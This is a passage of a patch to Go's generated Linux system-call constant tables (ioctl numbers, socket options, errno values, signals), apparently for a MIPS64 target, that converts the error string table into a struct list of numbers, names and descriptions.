-+ MAP_RENAME = 0x800
-+ MAP_STACK = 0x40000
-+ MCL_CURRENT = 0x1
-+ MCL_FUTURE = 0x2
-+ MCL_ONFAULT = 0x4
-+ NFDBITS = 0x40
-+ NLDLY = 0x100
-+ NOFLSH = 0x80
-+ NS_GET_NSTYPE = 0x2000b703
-+ NS_GET_OWNER_UID = 0x2000b704
-+ NS_GET_PARENT = 0x2000b702
-+ NS_GET_USERNS = 0x2000b701
-+ OLCUC = 0x2
-+ ONLCR = 0x4
-+ O_APPEND = 0x8
-+ O_ASYNC = 0x1000
-+ O_CLOEXEC = 0x80000
-+ O_CREAT = 0x100
-+ O_DIRECT = 0x8000
-+ O_DIRECTORY = 0x10000
-+ O_DSYNC = 0x10
-+ O_EXCL = 0x400
-+ O_FSYNC = 0x4010
-+ O_LARGEFILE = 0x0
-+ O_NDELAY = 0x80
-+ O_NOATIME = 0x40000
-+ O_NOCTTY = 0x800
-+ O_NOFOLLOW = 0x20000
-+ O_NONBLOCK = 0x80
-+ O_PATH = 0x200000
-+ O_RSYNC = 0x4010
-+ O_SYNC = 0x4010
-+ O_TMPFILE = 0x410000
-+ O_TRUNC = 0x200
-+ PARENB = 0x100
-+ PARODD = 0x200
-+ PENDIN = 0x4000
-+ PERF_EVENT_IOC_DISABLE = 0x20002401
-+ PERF_EVENT_IOC_ENABLE = 0x20002400
-+ PERF_EVENT_IOC_ID = 0x40082407
-+ PERF_EVENT_IOC_MODIFY_ATTRIBUTES = 0x8008240b
-+ PERF_EVENT_IOC_PAUSE_OUTPUT = 0x80042409
-+ PERF_EVENT_IOC_PERIOD = 0x80082404
-+ PERF_EVENT_IOC_QUERY_BPF = 0xc008240a
-+ PERF_EVENT_IOC_REFRESH = 0x20002402
-+ PERF_EVENT_IOC_RESET = 0x20002403
-+ PERF_EVENT_IOC_SET_BPF = 0x80042408
-+ PERF_EVENT_IOC_SET_FILTER = 0x80082406
-+ PERF_EVENT_IOC_SET_OUTPUT = 0x20002405
-+ PPPIOCATTACH = 0x8004743d
-+ PPPIOCATTCHAN = 0x80047438
-+ PPPIOCCONNECT = 0x8004743a
-+ PPPIOCDETACH = 0x8004743c
-+ PPPIOCDISCONN = 0x20007439
-+ PPPIOCGASYNCMAP = 0x40047458
-+ PPPIOCGCHAN = 0x40047437
-+ PPPIOCGDEBUG = 0x40047441
-+ PPPIOCGFLAGS = 0x4004745a
-+ PPPIOCGIDLE = 0x4010743f
-+ PPPIOCGIDLE32 = 0x4008743f
-+ PPPIOCGIDLE64 = 0x4010743f
-+ PPPIOCGL2TPSTATS = 0x40487436
-+ PPPIOCGMRU = 0x40047453
-+ PPPIOCGRASYNCMAP = 0x40047455
-+ PPPIOCGUNIT = 0x40047456
-+ PPPIOCGXASYNCMAP = 0x40207450
-+ PPPIOCSACTIVE = 0x80107446
-+ PPPIOCSASYNCMAP = 0x80047457
-+ PPPIOCSCOMPRESS = 0x8010744d
-+ PPPIOCSDEBUG = 0x80047440
-+ PPPIOCSFLAGS = 0x80047459
-+ PPPIOCSMAXCID = 0x80047451
-+ PPPIOCSMRRU = 0x8004743b
-+ PPPIOCSMRU = 0x80047452
-+ PPPIOCSNPMODE = 0x8008744b
-+ PPPIOCSPASS = 0x80107447
-+ PPPIOCSRASYNCMAP = 0x80047454
-+ PPPIOCSXASYNCMAP = 0x8020744f
-+ PPPIOCXFERUNIT = 0x2000744e
-+ PR_SET_PTRACER_ANY = 0xffffffffffffffff
-+ PTRACE_GETFPREGS = 0xe
-+ PTRACE_GET_THREAD_AREA = 0x19
-+ PTRACE_GET_THREAD_AREA_3264 = 0xc4
-+ PTRACE_GET_WATCH_REGS = 0xd0
-+ PTRACE_OLDSETOPTIONS = 0x15
-+ PTRACE_PEEKDATA_3264 = 0xc1
-+ PTRACE_PEEKTEXT_3264 = 0xc0
-+ PTRACE_POKEDATA_3264 = 0xc3
-+ PTRACE_POKETEXT_3264 = 0xc2
-+ PTRACE_SETFPREGS = 0xf
-+ PTRACE_SET_THREAD_AREA = 0x1a
-+ PTRACE_SET_WATCH_REGS = 0xd1
-+ RLIMIT_AS = 0x6
-+ RLIMIT_MEMLOCK = 0x9
-+ RLIMIT_NOFILE = 0x5
-+ RLIMIT_NPROC = 0x8
-+ RLIMIT_RSS = 0x7
-+ RNDADDENTROPY = 0x80085203
-+ RNDADDTOENTCNT = 0x80045201
-+ RNDCLEARPOOL = 0x20005206
-+ RNDGETENTCNT = 0x40045200
-+ RNDGETPOOL = 0x40085202
-+ RNDRESEEDCRNG = 0x20005207
-+ RNDZAPENTCNT = 0x20005204
-+ RTC_AIE_OFF = 0x20007002
-+ RTC_AIE_ON = 0x20007001
-+ RTC_ALM_READ = 0x40247008
-+ RTC_ALM_SET = 0x80247007
-+ RTC_EPOCH_READ = 0x4008700d
-+ RTC_EPOCH_SET = 0x8008700e
-+ RTC_IRQP_READ = 0x4008700b
-+ RTC_IRQP_SET = 0x8008700c
-+ RTC_PIE_OFF = 0x20007006
-+ RTC_PIE_ON = 0x20007005
-+ RTC_PLL_GET = 0x40207011
-+ RTC_PLL_SET = 0x80207012
-+ RTC_RD_TIME = 0x40247009
-+ RTC_SET_TIME = 0x8024700a
-+ RTC_UIE_OFF = 0x20007004
-+ RTC_UIE_ON = 0x20007003
-+ RTC_VL_CLR = 0x20007014
-+ RTC_VL_READ = 0x40047013
-+ RTC_WIE_OFF = 0x20007010
-+ RTC_WIE_ON = 0x2000700f
-+ RTC_WKALM_RD = 0x40287010
-+ RTC_WKALM_SET = 0x8028700f
-+ SCM_TIMESTAMPING = 0x25
-+ SCM_TIMESTAMPING_OPT_STATS = 0x36
-+ SCM_TIMESTAMPING_PKTINFO = 0x3a
-+ SCM_TIMESTAMPNS = 0x23
-+ SCM_TXTIME = 0x3d
-+ SCM_WIFI_STATUS = 0x29
-+ SFD_CLOEXEC = 0x80000
-+ SFD_NONBLOCK = 0x80
-+ SIOCATMARK = 0x40047307
-+ SIOCGPGRP = 0x40047309
-+ SIOCGSTAMPNS_NEW = 0x40108907
-+ SIOCGSTAMP_NEW = 0x40108906
-+ SIOCINQ = 0x467f
-+ SIOCOUTQ = 0x7472
-+ SIOCSPGRP = 0x80047308
-+ SOCK_CLOEXEC = 0x80000
-+ SOCK_DGRAM = 0x1
-+ SOCK_NONBLOCK = 0x80
-+ SOCK_STREAM = 0x2
-+ SOL_SOCKET = 0xffff
-+ SO_ACCEPTCONN = 0x1009
-+ SO_ATTACH_BPF = 0x32
-+ SO_ATTACH_REUSEPORT_CBPF = 0x33
-+ SO_ATTACH_REUSEPORT_EBPF = 0x34
-+ SO_BINDTODEVICE = 0x19
-+ SO_BINDTOIFINDEX = 0x3e
-+ SO_BPF_EXTENSIONS = 0x30
-+ SO_BROADCAST = 0x20
-+ SO_BSDCOMPAT = 0xe
-+ SO_BUSY_POLL = 0x2e
-+ SO_CNX_ADVICE = 0x35
-+ SO_COOKIE = 0x39
-+ SO_DETACH_REUSEPORT_BPF = 0x44
-+ SO_DOMAIN = 0x1029
-+ SO_DONTROUTE = 0x10
-+ SO_ERROR = 0x1007
-+ SO_INCOMING_CPU = 0x31
-+ SO_INCOMING_NAPI_ID = 0x38
-+ SO_KEEPALIVE = 0x8
-+ SO_LINGER = 0x80
-+ SO_LOCK_FILTER = 0x2c
-+ SO_MARK = 0x24
-+ SO_MAX_PACING_RATE = 0x2f
-+ SO_MEMINFO = 0x37
-+ SO_NOFCS = 0x2b
-+ SO_OOBINLINE = 0x100
-+ SO_PASSCRED = 0x11
-+ SO_PASSSEC = 0x22
-+ SO_PEEK_OFF = 0x2a
-+ SO_PEERCRED = 0x12
-+ SO_PEERGROUPS = 0x3b
-+ SO_PEERSEC = 0x1e
-+ SO_PROTOCOL = 0x1028
-+ SO_RCVBUF = 0x1002
-+ SO_RCVBUFFORCE = 0x21
-+ SO_RCVLOWAT = 0x1004
-+ SO_RCVTIMEO = 0x1006
-+ SO_RCVTIMEO_NEW = 0x42
-+ SO_RCVTIMEO_OLD = 0x1006
-+ SO_REUSEADDR = 0x4
-+ SO_REUSEPORT = 0x200
-+ SO_RXQ_OVFL = 0x28
-+ SO_SECURITY_AUTHENTICATION = 0x16
-+ SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-+ SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-+ SO_SELECT_ERR_QUEUE = 0x2d
-+ SO_SNDBUF = 0x1001
-+ SO_SNDBUFFORCE = 0x1f
-+ SO_SNDLOWAT = 0x1003
-+ SO_SNDTIMEO = 0x1005
-+ SO_SNDTIMEO_NEW = 0x43
-+ SO_SNDTIMEO_OLD = 0x1005
-+ SO_STYLE = 0x1008
-+ SO_TIMESTAMPING = 0x25
-+ SO_TIMESTAMPING_NEW = 0x41
-+ SO_TIMESTAMPING_OLD = 0x25
-+ SO_TIMESTAMPNS = 0x23
-+ SO_TIMESTAMPNS_NEW = 0x40
-+ SO_TIMESTAMPNS_OLD = 0x23
-+ SO_TIMESTAMP_NEW = 0x3f
-+ SO_TXTIME = 0x3d
-+ SO_TYPE = 0x1008
-+ SO_WIFI_STATUS = 0x29
-+ SO_ZEROCOPY = 0x3c
-+ TAB1 = 0x800
-+ TAB2 = 0x1000
-+ TAB3 = 0x1800
-+ TABDLY = 0x1800
-+ TCFLSH = 0x5407
-+ TCGETA = 0x5401
-+ TCGETS = 0x540d
-+ TCGETS2 = 0x4030542a
-+ TCSAFLUSH = 0x5410
-+ TCSBRK = 0x5405
-+ TCSBRKP = 0x5486
-+ TCSETA = 0x5402
-+ TCSETAF = 0x5404
-+ TCSETAW = 0x5403
-+ TCSETS = 0x540e
-+ TCSETS2 = 0x8030542b
-+ TCSETSF = 0x5410
-+ TCSETSF2 = 0x8030542d
-+ TCSETSW = 0x540f
-+ TCSETSW2 = 0x8030542c
-+ TCXONC = 0x5406
-+ TIOCCBRK = 0x5428
-+ TIOCCONS = 0x80047478
-+ TIOCEXCL = 0x740d
-+ TIOCGDEV = 0x40045432
-+ TIOCGETD = 0x7400
-+ TIOCGETP = 0x7408
-+ TIOCGEXCL = 0x40045440
-+ TIOCGICOUNT = 0x5492
-+ TIOCGISO7816 = 0x40285442
-+ TIOCGLCKTRMIOS = 0x548b
-+ TIOCGLTC = 0x7474
-+ TIOCGPGRP = 0x40047477
-+ TIOCGPKT = 0x40045438
-+ TIOCGPTLCK = 0x40045439
-+ TIOCGPTN = 0x40045430
-+ TIOCGPTPEER = 0x20005441
-+ TIOCGRS485 = 0x4020542e
-+ TIOCGSERIAL = 0x5484
-+ TIOCGSID = 0x7416
-+ TIOCGSOFTCAR = 0x5481
-+ TIOCGWINSZ = 0x40087468
-+ TIOCINQ = 0x467f
-+ TIOCLINUX = 0x5483
-+ TIOCMBIC = 0x741c
-+ TIOCMBIS = 0x741b
-+ TIOCMGET = 0x741d
-+ TIOCMIWAIT = 0x5491
-+ TIOCMSET = 0x741a
-+ TIOCM_CAR = 0x100
-+ TIOCM_CD = 0x100
-+ TIOCM_CTS = 0x40
-+ TIOCM_DSR = 0x400
-+ TIOCM_RI = 0x200
-+ TIOCM_RNG = 0x200
-+ TIOCM_SR = 0x20
-+ TIOCM_ST = 0x10
-+ TIOCNOTTY = 0x5471
-+ TIOCNXCL = 0x740e
-+ TIOCOUTQ = 0x7472
-+ TIOCPKT = 0x5470
-+ TIOCSBRK = 0x5427
-+ TIOCSCTTY = 0x5480
-+ TIOCSERCONFIG = 0x5488
-+ TIOCSERGETLSR = 0x548e
-+ TIOCSERGETMULTI = 0x548f
-+ TIOCSERGSTRUCT = 0x548d
-+ TIOCSERGWILD = 0x5489
-+ TIOCSERSETMULTI = 0x5490
-+ TIOCSERSWILD = 0x548a
-+ TIOCSER_TEMT = 0x1
-+ TIOCSETD = 0x7401
-+ TIOCSETN = 0x740a
-+ TIOCSETP = 0x7409
-+ TIOCSIG = 0x80045436
-+ TIOCSISO7816 = 0xc0285443
-+ TIOCSLCKTRMIOS = 0x548c
-+ TIOCSLTC = 0x7475
-+ TIOCSPGRP = 0x80047476
-+ TIOCSPTLCK = 0x80045431
-+ TIOCSRS485 = 0xc020542f
-+ TIOCSSERIAL = 0x5485
-+ TIOCSSOFTCAR = 0x5482
-+ TIOCSTI = 0x5472
-+ TIOCSWINSZ = 0x80087467
-+ TIOCVHANGUP = 0x5437
-+ TOSTOP = 0x8000
-+ TUNATTACHFILTER = 0x801054d5
-+ TUNDETACHFILTER = 0x801054d6
-+ TUNGETDEVNETNS = 0x200054e3
-+ TUNGETFEATURES = 0x400454cf
-+ TUNGETFILTER = 0x401054db
-+ TUNGETIFF = 0x400454d2
-+ TUNGETSNDBUF = 0x400454d3
-+ TUNGETVNETBE = 0x400454df
-+ TUNGETVNETHDRSZ = 0x400454d7
-+ TUNGETVNETLE = 0x400454dd
-+ TUNSETCARRIER = 0x800454e2
-+ TUNSETDEBUG = 0x800454c9
-+ TUNSETFILTEREBPF = 0x400454e1
-+ TUNSETGROUP = 0x800454ce
-+ TUNSETIFF = 0x800454ca
-+ TUNSETIFINDEX = 0x800454da
-+ TUNSETLINK = 0x800454cd
-+ TUNSETNOCSUM = 0x800454c8
-+ TUNSETOFFLOAD = 0x800454d0
-+ TUNSETOWNER = 0x800454cc
-+ TUNSETPERSIST = 0x800454cb
-+ TUNSETQUEUE = 0x800454d9
-+ TUNSETSNDBUF = 0x800454d4
-+ TUNSETSTEERINGEBPF = 0x400454e0
-+ TUNSETTXFILTER = 0x800454d1
-+ TUNSETVNETBE = 0x800454de
-+ TUNSETVNETHDRSZ = 0x800454d8
-+ TUNSETVNETLE = 0x800454dc
-+ UBI_IOCATT = 0x80186f40
-+ UBI_IOCDET = 0x80046f41
-+ UBI_IOCEBCH = 0x80044f02
-+ UBI_IOCEBER = 0x80044f01
-+ UBI_IOCEBISMAP = 0x40044f05
-+ UBI_IOCEBMAP = 0x80084f03
-+ UBI_IOCEBUNMAP = 0x80044f04
-+ UBI_IOCMKVOL = 0x80986f00
-+ UBI_IOCRMVOL = 0x80046f01
-+ UBI_IOCRNVOL = 0x91106f03
-+ UBI_IOCRPEB = 0x80046f04
-+ UBI_IOCRSVOL = 0x800c6f02
-+ UBI_IOCSETVOLPROP = 0x80104f06
-+ UBI_IOCSPEB = 0x80046f05
-+ UBI_IOCVOLCRBLK = 0x80804f07
-+ UBI_IOCVOLRMBLK = 0x20004f08
-+ UBI_IOCVOLUP = 0x80084f00
-+ VDISCARD = 0xd
-+ VEOF = 0x10
-+ VEOL = 0x11
-+ VEOL2 = 0x6
-+ VMIN = 0x4
-+ VREPRINT = 0xc
-+ VSTART = 0x8
-+ VSTOP = 0x9
-+ VSUSP = 0xa
-+ VSWTC = 0x7
-+ VSWTCH = 0x7
-+ VT1 = 0x4000
-+ VTDLY = 0x4000
-+ VTIME = 0x5
-+ VWERASE = 0xe
-+ WDIOC_GETBOOTSTATUS = 0x40045702
-+ WDIOC_GETPRETIMEOUT = 0x40045709
-+ WDIOC_GETSTATUS = 0x40045701
-+ WDIOC_GETSUPPORT = 0x40285700
-+ WDIOC_GETTEMP = 0x40045703
-+ WDIOC_GETTIMELEFT = 0x4004570a
-+ WDIOC_GETTIMEOUT = 0x40045707
-+ WDIOC_KEEPALIVE = 0x40045705
-+ WDIOC_SETOPTIONS = 0x40045704
-+ WORDSIZE = 0x40
-+ XCASE = 0x4
-+ XTABS = 0x1800
- )
-
- // Errors
- const (
-- E2BIG = syscall.Errno(0x7)
-- EACCES = syscall.Errno(0xd)
- EADDRINUSE = syscall.Errno(0x7d)
- EADDRNOTAVAIL = syscall.Errno(0x7e)
- EADV = syscall.Errno(0x44)
- EAFNOSUPPORT = syscall.Errno(0x7c)
-- EAGAIN = syscall.Errno(0xb)
- EALREADY = syscall.Errno(0x95)
- EBADE = syscall.Errno(0x32)
-- EBADF = syscall.Errno(0x9)
- EBADFD = syscall.Errno(0x51)
- EBADMSG = syscall.Errno(0x4d)
- EBADR = syscall.Errno(0x33)
- EBADRQC = syscall.Errno(0x36)
- EBADSLT = syscall.Errno(0x37)
- EBFONT = syscall.Errno(0x3b)
-- EBUSY = syscall.Errno(0x10)
- ECANCELED = syscall.Errno(0x9e)
-- ECHILD = syscall.Errno(0xa)
- ECHRNG = syscall.Errno(0x25)
- ECOMM = syscall.Errno(0x46)
- ECONNABORTED = syscall.Errno(0x82)
-@@ -1886,12 +502,8 @@ const (
- EDEADLK = syscall.Errno(0x2d)
- EDEADLOCK = syscall.Errno(0x38)
- EDESTADDRREQ = syscall.Errno(0x60)
-- EDOM = syscall.Errno(0x21)
- EDOTDOT = syscall.Errno(0x49)
- EDQUOT = syscall.Errno(0x46d)
-- EEXIST = syscall.Errno(0x11)
-- EFAULT = syscall.Errno(0xe)
-- EFBIG = syscall.Errno(0x1b)
- EHOSTDOWN = syscall.Errno(0x93)
- EHOSTUNREACH = syscall.Errno(0x94)
- EHWPOISON = syscall.Errno(0xa8)
-@@ -1899,11 +511,7 @@ const (
- EILSEQ = syscall.Errno(0x58)
- EINIT = syscall.Errno(0x8d)
- EINPROGRESS = syscall.Errno(0x96)
-- EINTR = syscall.Errno(0x4)
-- EINVAL = syscall.Errno(0x16)
-- EIO = syscall.Errno(0x5)
- EISCONN = syscall.Errno(0x85)
-- EISDIR = syscall.Errno(0x15)
- EISNAM = syscall.Errno(0x8b)
- EKEYEXPIRED = syscall.Errno(0xa2)
- EKEYREJECTED = syscall.Errno(0xa4)
-@@ -1920,8 +528,6 @@ const (
- ELNRNG = syscall.Errno(0x29)
- ELOOP = syscall.Errno(0x5a)
- EMEDIUMTYPE = syscall.Errno(0xa0)
-- EMFILE = syscall.Errno(0x18)
-- EMLINK = syscall.Errno(0x1f)
- EMSGSIZE = syscall.Errno(0x61)
- EMULTIHOP = syscall.Errno(0x4a)
- ENAMETOOLONG = syscall.Errno(0x4e)
-@@ -1929,100 +535,68 @@ const (
- ENETDOWN = syscall.Errno(0x7f)
- ENETRESET = syscall.Errno(0x81)
- ENETUNREACH = syscall.Errno(0x80)
-- ENFILE = syscall.Errno(0x17)
- ENOANO = syscall.Errno(0x35)
- ENOBUFS = syscall.Errno(0x84)
- ENOCSI = syscall.Errno(0x2b)
- ENODATA = syscall.Errno(0x3d)
-- ENODEV = syscall.Errno(0x13)
-- ENOENT = syscall.Errno(0x2)
-- ENOEXEC = syscall.Errno(0x8)
- ENOKEY = syscall.Errno(0xa1)
- ENOLCK = syscall.Errno(0x2e)
- ENOLINK = syscall.Errno(0x43)
- ENOMEDIUM = syscall.Errno(0x9f)
-- ENOMEM = syscall.Errno(0xc)
- ENOMSG = syscall.Errno(0x23)
- ENONET = syscall.Errno(0x40)
- ENOPKG = syscall.Errno(0x41)
- ENOPROTOOPT = syscall.Errno(0x63)
-- ENOSPC = syscall.Errno(0x1c)
- ENOSR = syscall.Errno(0x3f)
- ENOSTR = syscall.Errno(0x3c)
- ENOSYS = syscall.Errno(0x59)
-- ENOTBLK = syscall.Errno(0xf)
- ENOTCONN = syscall.Errno(0x86)
-- ENOTDIR = syscall.Errno(0x14)
- ENOTEMPTY = syscall.Errno(0x5d)
- ENOTNAM = syscall.Errno(0x89)
- ENOTRECOVERABLE = syscall.Errno(0xa6)
- ENOTSOCK = syscall.Errno(0x5f)
- ENOTSUP = syscall.Errno(0x7a)
-- ENOTTY = syscall.Errno(0x19)
- ENOTUNIQ = syscall.Errno(0x50)
-- ENXIO = syscall.Errno(0x6)
- EOPNOTSUPP = syscall.Errno(0x7a)
- EOVERFLOW = syscall.Errno(0x4f)
- EOWNERDEAD = syscall.Errno(0xa5)
-- EPERM = syscall.Errno(0x1)
- EPFNOSUPPORT = syscall.Errno(0x7b)
-- EPIPE = syscall.Errno(0x20)
- EPROTO = syscall.Errno(0x47)
- EPROTONOSUPPORT = syscall.Errno(0x78)
- EPROTOTYPE = syscall.Errno(0x62)
-- ERANGE = syscall.Errno(0x22)
- EREMCHG = syscall.Errno(0x52)
- EREMDEV = syscall.Errno(0x8e)
- EREMOTE = syscall.Errno(0x42)
- EREMOTEIO = syscall.Errno(0x8c)
- ERESTART = syscall.Errno(0x5b)
- ERFKILL = syscall.Errno(0xa7)
-- EROFS = syscall.Errno(0x1e)
- ESHUTDOWN = syscall.Errno(0x8f)
- ESOCKTNOSUPPORT = syscall.Errno(0x79)
-- ESPIPE = syscall.Errno(0x1d)
-- ESRCH = syscall.Errno(0x3)
- ESRMNT = syscall.Errno(0x45)
- ESTALE = syscall.Errno(0x97)
- ESTRPIPE = syscall.Errno(0x5c)
- ETIME = syscall.Errno(0x3e)
- ETIMEDOUT = syscall.Errno(0x91)
- ETOOMANYREFS = syscall.Errno(0x90)
-- ETXTBSY = syscall.Errno(0x1a)
- EUCLEAN = syscall.Errno(0x87)
- EUNATCH = syscall.Errno(0x2a)
- EUSERS = syscall.Errno(0x5e)
-- EWOULDBLOCK = syscall.Errno(0xb)
-- EXDEV = syscall.Errno(0x12)
- EXFULL = syscall.Errno(0x34)
- )
-
- // Signals
- const (
-- SIGABRT = syscall.Signal(0x6)
-- SIGALRM = syscall.Signal(0xe)
- SIGBUS = syscall.Signal(0xa)
- SIGCHLD = syscall.Signal(0x12)
- SIGCLD = syscall.Signal(0x12)
- SIGCONT = syscall.Signal(0x19)
- SIGEMT = syscall.Signal(0x7)
-- SIGFPE = syscall.Signal(0x8)
-- SIGHUP = syscall.Signal(0x1)
-- SIGILL = syscall.Signal(0x4)
-- SIGINT = syscall.Signal(0x2)
- SIGIO = syscall.Signal(0x16)
-- SIGIOT = syscall.Signal(0x6)
-- SIGKILL = syscall.Signal(0x9)
-- SIGPIPE = syscall.Signal(0xd)
- SIGPOLL = syscall.Signal(0x16)
- SIGPROF = syscall.Signal(0x1d)
- SIGPWR = syscall.Signal(0x13)
-- SIGQUIT = syscall.Signal(0x3)
-- SIGSEGV = syscall.Signal(0xb)
- SIGSTOP = syscall.Signal(0x17)
- SIGSYS = syscall.Signal(0xc)
-- SIGTERM = syscall.Signal(0xf)
-- SIGTRAP = syscall.Signal(0x5)
- SIGTSTP = syscall.Signal(0x18)
- SIGTTIN = syscall.Signal(0x1a)
- SIGTTOU = syscall.Signal(0x1b)
-@@ -2036,174 +610,182 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "no such device or address",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource temporarily unavailable",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device or resource busy",
-- 17: "file exists",
-- 18: "invalid cross-device link",
-- 19: "no such device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "numerical result out of range",
-- 35: "no message of desired type",
-- 36: "identifier removed",
-- 37: "channel number out of range",
-- 38: "level 2 not synchronized",
-- 39: "level 3 halted",
-- 40: "level 3 reset",
-- 41: "link number out of range",
-- 42: "protocol driver not attached",
-- 43: "no CSI structure available",
-- 44: "level 2 halted",
-- 45: "resource deadlock avoided",
-- 46: "no locks available",
-- 50: "invalid exchange",
-- 51: "invalid request descriptor",
-- 52: "exchange full",
-- 53: "no anode",
-- 54: "invalid request code",
-- 55: "invalid slot",
-- 56: "file locking deadlock error",
-- 59: "bad font file format",
-- 60: "device not a stream",
-- 61: "no data available",
-- 62: "timer expired",
-- 63: "out of streams resources",
-- 64: "machine is not on the network",
-- 65: "package not installed",
-- 66: "object is remote",
-- 67: "link has been severed",
-- 68: "advertise error",
-- 69: "srmount error",
-- 70: "communication error on send",
-- 71: "protocol error",
-- 73: "RFS specific error",
-- 74: "multihop attempted",
-- 77: "bad message",
-- 78: "file name too long",
-- 79: "value too large for defined data type",
-- 80: "name not unique on network",
-- 81: "file descriptor in bad state",
-- 82: "remote address changed",
-- 83: "can not access a needed shared library",
-- 84: "accessing a corrupted shared library",
-- 85: ".lib section in a.out corrupted",
-- 86: "attempting to link in too many shared libraries",
-- 87: "cannot exec a shared library directly",
-- 88: "invalid or incomplete multibyte or wide character",
-- 89: "function not implemented",
-- 90: "too many levels of symbolic links",
-- 91: "interrupted system call should be restarted",
-- 92: "streams pipe error",
-- 93: "directory not empty",
-- 94: "too many users",
-- 95: "socket operation on non-socket",
-- 96: "destination address required",
-- 97: "message too long",
-- 98: "protocol wrong type for socket",
-- 99: "protocol not available",
-- 120: "protocol not supported",
-- 121: "socket type not supported",
-- 122: "operation not supported",
-- 123: "protocol family not supported",
-- 124: "address family not supported by protocol",
-- 125: "address already in use",
-- 126: "cannot assign requested address",
-- 127: "network is down",
-- 128: "network is unreachable",
-- 129: "network dropped connection on reset",
-- 130: "software caused connection abort",
-- 131: "connection reset by peer",
-- 132: "no buffer space available",
-- 133: "transport endpoint is already connected",
-- 134: "transport endpoint is not connected",
-- 135: "structure needs cleaning",
-- 137: "not a XENIX named type file",
-- 138: "no XENIX semaphores available",
-- 139: "is a named type file",
-- 140: "remote I/O error",
-- 141: "unknown error 141",
-- 142: "unknown error 142",
-- 143: "cannot send after transport endpoint shutdown",
-- 144: "too many references: cannot splice",
-- 145: "connection timed out",
-- 146: "connection refused",
-- 147: "host is down",
-- 148: "no route to host",
-- 149: "operation already in progress",
-- 150: "operation now in progress",
-- 151: "stale file handle",
-- 158: "operation canceled",
-- 159: "no medium found",
-- 160: "wrong medium type",
-- 161: "required key not available",
-- 162: "key has expired",
-- 163: "key has been revoked",
-- 164: "key was rejected by service",
-- 165: "owner died",
-- 166: "state not recoverable",
-- 167: "operation not possible due to RF-kill",
-- 168: "memory page has hardware error",
-- 1133: "disk quota exceeded",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "no such device or address"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EAGAIN", "resource temporarily unavailable"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device or resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "invalid cross-device link"},
-+ {19, "ENODEV", "no such device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "numerical result out of range"},
-+ {35, "ENOMSG", "no message of desired type"},
-+ {36, "EIDRM", "identifier removed"},
-+ {37, "ECHRNG", "channel number out of range"},
-+ {38, "EL2NSYNC", "level 2 not synchronized"},
-+ {39, "EL3HLT", "level 3 halted"},
-+ {40, "EL3RST", "level 3 reset"},
-+ {41, "ELNRNG", "link number out of range"},
-+ {42, "EUNATCH", "protocol driver not attached"},
-+ {43, "ENOCSI", "no CSI structure available"},
-+ {44, "EL2HLT", "level 2 halted"},
-+ {45, "EDEADLK", "resource deadlock avoided"},
-+ {46, "ENOLCK", "no locks available"},
-+ {50, "EBADE", "invalid exchange"},
-+ {51, "EBADR", "invalid request descriptor"},
-+ {52, "EXFULL", "exchange full"},
-+ {53, "ENOANO", "no anode"},
-+ {54, "EBADRQC", "invalid request code"},
-+ {55, "EBADSLT", "invalid slot"},
-+ {56, "EDEADLOCK", "file locking deadlock error"},
-+ {59, "EBFONT", "bad font file format"},
-+ {60, "ENOSTR", "device not a stream"},
-+ {61, "ENODATA", "no data available"},
-+ {62, "ETIME", "timer expired"},
-+ {63, "ENOSR", "out of streams resources"},
-+ {64, "ENONET", "machine is not on the network"},
-+ {65, "ENOPKG", "package not installed"},
-+ {66, "EREMOTE", "object is remote"},
-+ {67, "ENOLINK", "link has been severed"},
-+ {68, "EADV", "advertise error"},
-+ {69, "ESRMNT", "srmount error"},
-+ {70, "ECOMM", "communication error on send"},
-+ {71, "EPROTO", "protocol error"},
-+ {73, "EDOTDOT", "RFS specific error"},
-+ {74, "EMULTIHOP", "multihop attempted"},
-+ {77, "EBADMSG", "bad message"},
-+ {78, "ENAMETOOLONG", "file name too long"},
-+ {79, "EOVERFLOW", "value too large for defined data type"},
-+ {80, "ENOTUNIQ", "name not unique on network"},
-+ {81, "EBADFD", "file descriptor in bad state"},
-+ {82, "EREMCHG", "remote address changed"},
-+ {83, "ELIBACC", "can not access a needed shared library"},
-+ {84, "ELIBBAD", "accessing a corrupted shared library"},
-+ {85, "ELIBSCN", ".lib section in a.out corrupted"},
-+ {86, "ELIBMAX", "attempting to link in too many shared libraries"},
